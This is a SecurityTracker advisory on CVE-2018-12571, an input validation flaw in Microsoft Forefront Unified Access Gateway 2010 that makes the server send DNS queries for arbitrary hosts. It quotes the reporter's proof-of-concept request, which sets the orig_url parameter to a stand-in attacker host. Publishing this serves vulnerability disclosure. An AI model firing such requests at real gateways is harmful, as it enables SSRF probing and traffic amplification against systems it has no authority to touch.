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Category:   Application (Generic)  >   Microsoft Forefront Unified Access Gateway Vendors:   Microsoft
Microsoft Forefront Unified Access Gateway Input Validation Flaw Lets Remote Users Cause the Target System to Initiate DNS Queries for Multiple Hosts
SecurityTracker Alert ID:  1041212
SecurityTracker URL:  http://securitytracker.com/id/1041212
CVE Reference:   CVE-2018-12571   (Links to External Site)
Date:  Jul 3 2018
Impact:   Modification of system information
Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 2010
Description:   A vulnerability was reported in Microsoft Forefront Unified Access Gateway. A remote user can cause the target system to initiate DNS requests for multiple, arbitrary hosts.

A remote user can submit a specially crafted 'orig_url' parameter value that includes a comma-separated list of URLs to cause the target server to initiate DNS queries for the hosts specified in the URLs.

Okan Coskun reported this vulnerability.

Impact:   A remote user can cause the target system to initiate DNS requests for multiple, arbitrary hosts.
Solution:   No solution was available at the time of this entry.

[Editor's note: The report indicates that the vendor does not plan to issue a fix as part of a security update.]

Vendor URL:  www.microsoft.com/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Windows (2008)

Message History:   None.


 Source Message Contents

Subject:  Re: [FD] Microsoft Forefront Unified Access Gateway 2010 External DNS Interaction

# Exploit Title: Microsoft Forefront Unified Access Gateway 2010 External
DNS Interaction
# Vendor Homepage: https://www.microsoft.com/
# Version: 2010
# CVE : CVE-2018-12571
# MSRC: Case 39000
# Proof of Concept #1

Microsoft Forefront Unified Access Gateway 2010 allows remote attackers to
trigger outbound DNS queries for arbitrary hosts via a comma-separated list
of URLs in the orig_url parameter, possibly causing a traffic amplification
and/or SSRF outcome.

/uniquesig697e96fe58e5694d9b118768d8189a4c/uniquesig0/Intern
alSite/InitParams.aspx?referrer=/InternalSite/StartApp.asp&
resource%5Fid=8B92B86E36904E2FA83C890F8C864A50&login%5Ftype=
0&site%5Fname=test&secure=0&URLHASH=47c74c53%2Dfaae%
2D41ae%2D89f1%2D1eb6eff34091&orig%5Furl=http%3A%2F%2FATTACKER.SITE.COM
<http://2fattacker.site.com/>%2Ftest

# Fixes

It will not be patched by Microsoft.

Reason:
We have completed our investigation and determined that the case doesn't
meet the bar for servicing in a security update

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